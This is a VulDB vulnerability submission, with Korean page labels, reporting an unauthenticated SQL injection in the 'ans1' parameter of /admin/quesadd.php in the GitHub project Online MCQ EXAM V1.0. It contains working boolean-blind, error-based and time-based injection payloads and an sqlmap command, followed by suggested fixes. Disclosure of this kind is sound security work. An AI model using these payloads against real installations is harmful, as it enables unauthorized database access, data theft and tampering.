제출 #715219: Github Online MCQ EXAM V1.0 SQL Injection정보

제목Github Online MCQ EXAM V1.0 SQL Injection
설명# NAME OF AFFECTED PRODUCT(S) - Online MCQ EXAM ## Vendor Homepage - github.com # AFFECTED AND/OR FIXED VERSION(S) ## submitter - AntiZ ## Vulnerable File - /admin/quesadd.php ## VERSION(S) - V1.0 ## Software Link - https://github.com/saiftheboss7/onlinemcqexam # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/admin/quesadd.php ' file of the 'Online MCQ EXAM' project. The reason for this issue is that attackers inject malicious code from the parameter ' ans1‘ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Online MCQ EXAM",I discovered a critical SQL injection vulnerability in the "/admin/quesadd.php " file. This vulnerability stems from insufficient user input validation of the ' ans1' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - ' ans1' parameter ## Payload: ```makefile Parameter: ans1 (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: quesNo=4&ques=1&ans1=1' RLIKE (SELECT (CASE WHEN (2428=2428) THEN 1 ELSE 0x28 END)) AND 'rgeU'='rgeU&ans2=1&ans3=1&ans4=1&rightAns=1 Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: quesNo=4&ques=1&ans1=1' AND GTID_SUBSET(CONCAT(0x7176627871,(SELECT (ELT(7376=7376,1))),0x716b707a71),7376) AND 'soSc'='soSc&ans2=1&ans3=1&ans4=1&rightAns=1 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: quesNo=4&ques=1&ans1=1' AND (SELECT 5254 FROM (SELECT(SLEEP(5)))vOsx) AND 'aGRL'='aGRL&ans2=1&ans3=1&ans4=1&rightAns=1 ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://127.0.0.1/admin/quesadd.php" --data=" quesNo=4&ques=1&ans1=1&ans2=1&ans3=1&ans4=1&rightAns=1" --dbs ``` <img width="1175" height="524" alt="Image" src="https://github.com/user-attachments/assets/899a1e15-fac4-4cf5-999e-32e40084b11c" /> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
원천⚠️ https://github.com/Anti1i/cve/issues/4
사용자
 AntiZ (UID 93100)
제출2025. 12. 14. PM 12:36 (4 개월 ago)
모더레이션2025. 12. 27. AM 11:14 (13 days later)
상태수락
VulDB 항목338518 [saiftheboss7 onlinemcqexam 까지 0e56806132971e49721db3ef01868098c7b42ada /admin/quesadd.php ans1/ans2 SQL 주입]
포인트들20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!